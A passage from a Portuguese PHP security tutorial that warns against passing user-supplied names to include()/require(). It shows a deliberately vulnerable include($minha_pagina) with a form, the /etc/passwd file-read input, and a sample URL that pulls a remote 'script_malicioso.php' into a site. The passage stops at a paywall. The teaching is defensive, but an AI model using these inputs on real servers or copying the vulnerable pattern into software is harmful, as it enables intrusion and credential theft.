ZE: 10pt; FONT-FAMILY: Verdana; mso-ansi-language: PT-BR">Confira algumas dicas de segurança para evitar que usuários habilidosos invadam seu Web Site

 

Neste artigo veremos

·                         Dicas de segurança;

·                         Utilização de sessões;

·                Criação de login para acesso à área de administração.

Qual a finalidade

·                Manter o web site protegido evitando possíveis invasões.

Quais situações utilizam esses recursos?

·                Todo web site precisa de recursos de segurança para evitar invasões e conseqüentemente problemas futuros.

 

Resumo DevMan

Nesse artigo veremos algumas dicas de segurança para evitar que usuários com um pouco mais de experiência consigam invadir o site e forjar informações.

Veremos como utilizar sessões em login’s de forma que o usuário não consiga entrar diretamente em uma página sem fazer autenticação.

 

A internet como um todo cresceu bastante nos últimos tempos e tornou-se um meio de comunicação quase que indispensável no dia-a-dia. Aliás, além de um meio de comunicação, acabou virando “um lugar” onde podemos encontrar todo tipo de conteúdo, tal como: entretenimento, informação, cultura, jornalismo, compra e venda de produtos, sexo, etc. Milhares e milhares de Web Sites surgem a cada dia e são inúmeros os temas discutidos na grande rede.

Junto com a praticidade da WWW, que trouxe solução para diversos problemas, vieram muitos outros como é o caso da segurança. Os golpes, spams, fraudes, invasões, etc. são cada vez mais freqüentes e movimentam milhões de dólares todos os anos. Crackers, hackers, enfim, os malfeitores da internet desafiam o tempo todo profissionais e autoridades especializadas em segurança que ganham para manter a integridade de dados de suas redes corporativas. As mais diversas ferramentas e conceitos de segurança são implementados e criados a todo tempo, porém muitos profissionais desconhecem técnicas básicas para o desenvolvimento de sites seguros e com poucas chances de erro.

O tema desse artigo é justamente alertar sobre alguns cuidados a se tomar para evitar determinados problemas e com isso evitar muitos transtornos no dia-a-dia.

Veremos como evitar o envio de arquivos ou a tentativa de busca das senhas do servidor. Faremos também um pequeno sistema e o adaptaremos para usar sessões evitando o acesso à página sem efetuar login.

 

Envitando passagem de páginas por parâmetro

A primeira dica é prever que o usuário do seu site nem sempre tem a intenção de entrar com as informações exatamente como é solicitada, ou seja, burlar um site pode ser bastante divertido para alguns e um negócio para outros. Portanto, temos que tomar algumas precauções para evitar que o internauta tenha acesso total aos seus arquivos e/ou senhas.

O primeiro caso está no fato de abrir arquivos baseados na entrada do usuário, por exemplo: quando usamos os métodos include() e require(), os arquivos informados no método podem ser variáveis e portanto podem vir de informações do usuário. Podemos permitir, por algum motivo, que o usuário informe qual o arquivo ele pode carregar nos métodos include() e require() através de um formulário ou QueryString(), veja:

 

<?php

  include($minha_pagina);

?>

 

No código anterior estamos informando ao método include() que uma variável chamada $minha_pagina deverá ser incluída na página atual, ou seja, qualquer informação poderá vir nessa variável. Vejamos a Listagem 1.

Listagem 1. Código do arquivo topo.htm

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<title>Untitled Document</title>

</head>

<body>

<img src="topo_artigo.JPG">

<br>

<form action="validar.php" method="post" name="frmValidar" id="frmValidar">

  <p>Informe o arquivo de configura&ccedil;&atilde;o<br>

    <input name="page" type="text" id="page">

    <input name="Carregar" type="submit" id="Carregar" value="Carregar">

    </p>

</form>

<br>

<img src="devmedia.jpg">

</body>

</html>

No código da Listagem 1 criamos um formulário onde o usuário poderá informar qual o arquivo deseja enviar/carregar. Veja a Figura 1 como criamos o layout dessa página.

 

Figura 1. Exemplo de carregamento de arquivo

 

Há um enorme perigo em se deixar o usuário carregar arquivos dessa forma. Digamos que o nosso usuário é um pouco mais esperto e resolve fazer um pequeno teste: colocar no campo o endereço do arquivo de senhas do PHP. Normalmente o arquivo de senhas fica alocado em /etc/passwd, logo podemos incluir essa informação no arquivo solicitado pelo nosso formulário.

O arquivo validar.php, que será chamado por essa página, receberá o conteúdo do campo e o executará como segue:

 

  include($minha_pagina);

 

Automaticamente o arquivo passwd poderá ser carregado na tela e obviamente estará disponível para leitura caso a variável register_globals do arquivo php.ini (presente no servidor) estiver configurada como On. Claro, o responsável pela instalação do PHP no servidor do DataCenter jamais esqueceria de uma informação como esta. Mas o mais sensato é fazer o teste antes e evitar erro futuro. Outra forma de se fazer isso seria digitando o caminho da página na barra de endereços e colocar o endereço que desejar na variável $minha_pagina assim como podemos ver a seguir:

 

http://www.seusite.com.br/seu_script.php?minha_pagina=http://www.meusite.com.br/script_malicioso.php

 

Veja que é perfeitamente possível passar para a variável um arquivo de outro servidor. Lembrando que o método ...

Quer ler esse conteúdo completo? Tenha acesso completo